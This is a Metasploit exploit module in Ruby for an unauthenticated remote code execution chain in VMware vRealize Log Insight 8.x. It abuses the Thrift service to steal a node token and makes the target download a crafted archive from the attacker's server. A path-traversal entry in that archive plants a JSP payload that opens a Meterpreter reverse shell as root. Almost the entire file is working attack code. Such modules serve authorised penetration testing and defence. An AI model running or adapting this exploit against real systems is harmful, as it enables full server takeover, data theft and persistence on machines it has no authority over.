348 lines
14 KiB
Ruby
348 lines
14 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
require 'rex/proto/thrift'
|
|
require 'rex/stopwatch'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::CmdStager::HTTP
|
|
include Msf::Exploit::Retry
|
|
include Msf::Exploit::FileDropper # includes register_files_for_cleanup
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'VMware vRealize Log Insight Unauthenticated RCE',
|
|
'Description' => %q{
|
|
VMware vRealize Log Insights versions v8.x contains multiple vulnerabilities, such as
|
|
directory traversal, broken access control, deserialization, and information disclosure.
|
|
When chained together, these vulnerabilities allow a remote, unauthenticated attacker to
|
|
execute arbitrary commands on the underlying operating system as the root user.
|
|
|
|
This module achieves code execution via triggering a `RemotePakDownloadCommand` command
|
|
via the exposed thrift service after obtaining the node token by calling a `GetConfigRequest`
|
|
thrift command. After the download, it will trigger a `PakUpgradeCommand` for processing the
|
|
specially crafted PAK archive, which then will place the JSP payload under a certain API
|
|
endpoint (pre-authenticated) location upon extraction for gaining remote code execution.
|
|
|
|
Successfully tested against version 8.0.2.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Horizon3.ai Attack Team', # Original POC & analysis
|
|
'Ege BALCI <egebalci[at]pm.me>', # Metasploit Module
|
|
],
|
|
'References' => [
|
|
['ZDI', '23-116'],
|
|
['ZDI', '23-115'],
|
|
['CVE', '2022-31706'],
|
|
['CVE', '2022-31704'],
|
|
['CVE', '2022-31711'],
|
|
['URL', 'https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive'],
|
|
['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0001.html'],
|
|
],
|
|
'DisclosureDate' => '2023-01-24',
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'VMware vRealize Log Insight < v8.10.2',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'DefaultOptions' => {
|
|
'SSL' => true,
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
|
'PrependFork' => true
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Payload' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
|
'WfsDelay' => 15
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(443),
|
|
OptPort.new('THRIFT_PORT', [true, 'Thrift service port', 16520]),
|
|
OptString.new('TARGETURI', [true, 'The URI of the VRLI web service', '/'])
|
|
]
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('ThriftTimeout', [ true, 'Thrift response and connection timeout duration', 10 ]),
|
|
OptInt.new('WaitForUpgradeDuration', [ true, 'The sleep duration in seconds for PakUpgrade process', 2 ])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
print_status "Checking if #{peer} can be exploited."
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'i18n', 'component'),
|
|
'method' => 'GET'
|
|
})
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
|
|
translation = JSON.parse(res.body.gsub(/^.+= /, '').gsub(/;/, ''))
|
|
return Exploit::CheckCode::Unknown('Could not determine the target status') if translation.nil? || !translation.key?('version')
|
|
|
|
version = Rex::Version.new(translation['version'])
|
|
if version <= Rex::Version.new('8.10') && version >= Rex::Version.new('8.0') # This is not exactly the product version but we can use it
|
|
return Exploit::CheckCode::Appears("VMware XRLI Version: #{translation['version']}")
|
|
end
|
|
|
|
Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
|
|
end
|
|
|
|
def generate_malicious_tar
|
|
mf_file = <<~EOF.strip
|
|
{
|
|
"CHECKSUMS": [
|
|
{
|
|
"CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",#{' '}
|
|
"FILE_NAME": "eula.txt"
|
|
},#{' '}
|
|
{
|
|
"CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",#{' '}
|
|
"FILE_NAME": "cn_eula.txt"
|
|
},#{' '}
|
|
{
|
|
"CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",#{' '}
|
|
"FILE_NAME": "de_eula.txt"
|
|
},#{' '}
|
|
{
|
|
"CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",#{' '}
|
|
"FILE_NAME": "es_eula.txt"
|
|
},#{' '}
|
|
{
|
|
"CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",#{' '}
|
|
"FILE_NAME": "fr_eula.txt"
|
|
},#{' '}
|
|
{
|
|
"CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",#{' '}
|
|
"FILE_NAME": "ja_eula.txt"
|
|
},#{' '}
|
|
{
|
|
"CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",#{' '}
|
|
"FILE_NAME": "ko_eula.txt"
|
|
},#{' '}
|
|
{
|
|
"CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",#{' '}
|
|
"FILE_NAME": "tw_eula.txt"
|
|
},#{' '}
|
|
{
|
|
"CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",#{' '}
|
|
"FILE_NAME": "upgrade-driver"
|
|
},#{' '}
|
|
{
|
|
"CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",#{' '}
|
|
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm"
|
|
}
|
|
],#{' '}
|
|
"FROM_VERSION": "8.8.0-0",#{' '}
|
|
"REQUIRED_SPACE": "1073741824",#{' '}
|
|
"RPM_INFO": {
|
|
"KEY_LIST": [],#{' '}
|
|
"REBOOT": "False",#{' '}
|
|
"RPM_LIST": [
|
|
{
|
|
"ARGUMENTS": [
|
|
"--nodeps"
|
|
],#{' '}
|
|
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",#{' '}
|
|
"OPTION": "INSTALL_OR_UPGRADE"
|
|
}
|
|
]
|
|
},#{' '}
|
|
"TO_VERSION": "8.10.2-21145187"
|
|
}
|
|
EOF
|
|
|
|
cert_file = <<~CERT
|
|
SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776
|
|
-----BEGIN CERTIFICATE-----
|
|
MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV
|
|
BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x
|
|
FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy
|
|
MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD
|
|
VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI
|
|
hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw
|
|
9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb
|
|
4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay
|
|
9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT
|
|
W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw
|
|
kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww
|
|
HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd
|
|
m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs
|
|
aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu
|
|
Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP
|
|
nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69
|
|
i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S
|
|
fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0
|
|
IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G
|
|
PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG
|
|
vSqQGIbCybw5KTCXRQ8d
|
|
-----END CERTIFICATE-----
|
|
CERT
|
|
|
|
# Generate a TAR archive with dir traversal...
|
|
print_status 'Encoding the payload as JSP'
|
|
payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe)
|
|
jsp_name = 'api-v5-documentation.jsp' # version number can be randomized
|
|
slip_name = "../../usr/lib/loginsight/application/3rd_party/apache-tomcat-8.5.82/webapps/ROOT/loginsight/api/#{jsp_name}"
|
|
register_files_for_cleanup(slip_name.gsub('../..', ''))
|
|
rand_data = Rex::Text.rand_text_alpha(35000..36000) # For realistic packet size
|
|
dummy_files = ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt'] # Dummy but also necessary
|
|
|
|
tar = StringIO.new
|
|
Rex::Tar::Writer.new(tar) do |t|
|
|
dummy_files.each do |dum|
|
|
t.add_file(dum, 0o644) do |f|
|
|
f.write(rand_data)
|
|
end
|
|
end
|
|
t.add_file('VMware-vRealize-Log-Insight.cert', 0o644) do |crt| # We actually need the content of these files
|
|
crt.write(cert_file)
|
|
end
|
|
t.add_file('VMware-vRealize-Log-Insight.mf', 0o644) do |mf|
|
|
mf.write(mf_file)
|
|
end
|
|
t.add_file(slip_name, 0o644) do |f|
|
|
f.write(payload_jsp)
|
|
end
|
|
end
|
|
tar.seek(0)
|
|
data = tar.read
|
|
tar.close
|
|
data
|
|
end
|
|
|
|
def on_request_uri(cli, _request)
|
|
payload_tar = generate_malicious_tar
|
|
print_status "Malicious TAR payload created (#{payload_tar.length} bytes)"
|
|
print_good("Payload requested by #{peer}, sending...")
|
|
@got_request = true
|
|
send_response(cli, payload_tar)
|
|
end
|
|
|
|
def exploit
|
|
# Step 1 generate malicious TAR archive
|
|
file_name = Rex::Text.rand_text_alpha(7)
|
|
pak_name = "#{file_name}.pak"
|
|
register_files_for_cleanup("/tmp/#{pak_name}")
|
|
print_status('Starting Payload Server')
|
|
cmdstager_start_service('Path' => "/#{file_name}.tar")
|
|
|
|
# Connect to the Apache Thrift service
|
|
thrift_client = Rex::Proto::Thrift::Client.new(
|
|
target_host,
|
|
datastore['THRIFT_PORT'],
|
|
context: { 'Msf' => framework, 'MsfExploit' => self },
|
|
timeout: datastore['ThriftTimeout']
|
|
)
|
|
thrift_client.connect
|
|
|
|
# Step 2 obtain node token
|
|
print_status 'Fetching thrift config...'
|
|
config = thrift_client.call(
|
|
'getConfig',
|
|
Rex::Proto::Thrift::ThriftData.struct(1, [ Rex::Proto::Thrift::ThriftData.stop ]),
|
|
Rex::Proto::Thrift::ThriftData.stop
|
|
)
|
|
config_xml = Rex::Proto::Thrift::ThriftStruct.flatten(config).dig(0, 3)
|
|
fail_with(Failure::UnexpectedReply, 'Could not obtain configuration XML') if config_xml.nil?
|
|
|
|
token = Nokogiri::XML(config_xml).xpath('/config/distributed/daemon')&.attr('token').to_s
|
|
fail_with(Failure::UnexpectedReply, 'Could not obtain node token') if token.nil? || token.empty?
|
|
print_good "Obtained node token: #{token}"
|
|
|
|
print_status 'Sending getNodeType...'
|
|
thrift_client.call('getNodeType', Rex::Proto::Thrift::ThriftData.stop)
|
|
|
|
# Step 3 download the malicious pak
|
|
server_url = "http://#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT'])}/#{file_name}.tar"
|
|
print_status 'Sending RemotePakDownloadCommand...'
|
|
thrift_client.call(
|
|
'runCommand',
|
|
Rex::Proto::Thrift::ThriftData.struct(1, [
|
|
Rex::Proto::Thrift::ThriftData.struct(1, [
|
|
Rex::Proto::Thrift::ThriftData.i32(1, 9),
|
|
Rex::Proto::Thrift::ThriftData.struct(10, [
|
|
Rex::Proto::Thrift::ThriftData.utf7(1, token),
|
|
Rex::Proto::Thrift::ThriftData.utf7(2, server_url),
|
|
Rex::Proto::Thrift::ThriftData.utf7(3, file_name),
|
|
Rex::Proto::Thrift::ThriftData.stop
|
|
]),
|
|
Rex::Proto::Thrift::ThriftData.stop
|
|
]),
|
|
Rex::Proto::Thrift::ThriftData.i64(2, 2000),
|
|
Rex::Proto::Thrift::ThriftData.stop
|
|
]),
|
|
Rex::Proto::Thrift::ThriftData.stop
|
|
)
|
|
retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do
|
|
@got_request
|
|
end
|
|
|
|
# Step 4 trigger pak upgrade
|
|
print_status 'Sending PakUpgradeCommand...'
|
|
thrift_client.call(
|
|
'runCommand',
|
|
Rex::Proto::Thrift::ThriftData.struct(1, [
|
|
Rex::Proto::Thrift::ThriftData.struct(1, [
|
|
Rex::Proto::Thrift::ThriftData.i32(1, 8),
|
|
Rex::Proto::Thrift::ThriftData.struct(9, [
|
|
Rex::Proto::Thrift::ThriftData.utf7(1, pak_name),
|
|
Rex::Proto::Thrift::ThriftData.boolean(2, false),
|
|
Rex::Proto::Thrift::ThriftData.utf7(3, '/dev/null'),
|
|
Rex::Proto::Thrift::ThriftData.boolean(4, false),
|
|
Rex::Proto::Thrift::ThriftData.utf7(5, 'eng'),
|
|
Rex::Proto::Thrift::ThriftData.boolean(6, false),
|
|
Rex::Proto::Thrift::ThriftData.stop
|
|
]),
|
|
Rex::Proto::Thrift::ThriftData.stop
|
|
]),
|
|
Rex::Proto::Thrift::ThriftData.i64(2, 2000),
|
|
Rex::Proto::Thrift::ThriftData.stop
|
|
]),
|
|
Rex::Proto::Thrift::ThriftData.stop
|
|
)
|
|
print_good 'PakUpgrade request is successful'
|
|
print_status "Waiting #{datastore['WaitForUpgradeDuration']} second for PakUpgrade..."
|
|
sleep(datastore['WaitForUpgradeDuration'])
|
|
|
|
# Step 5 trigger the JSP payload.
|
|
print_status "#{peer} - Triggering JSP payload..."
|
|
thrift_client.close
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'rest-api', 'v5'),
|
|
'method' => 'GET'
|
|
})
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
|
|
rescue Rex::Proto::Thrift::Error::InvalidFrameError, Rex::Proto::Thrift::Error::UnexpectedReplyError => e
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - #{e}")
|
|
end
|
|
end
|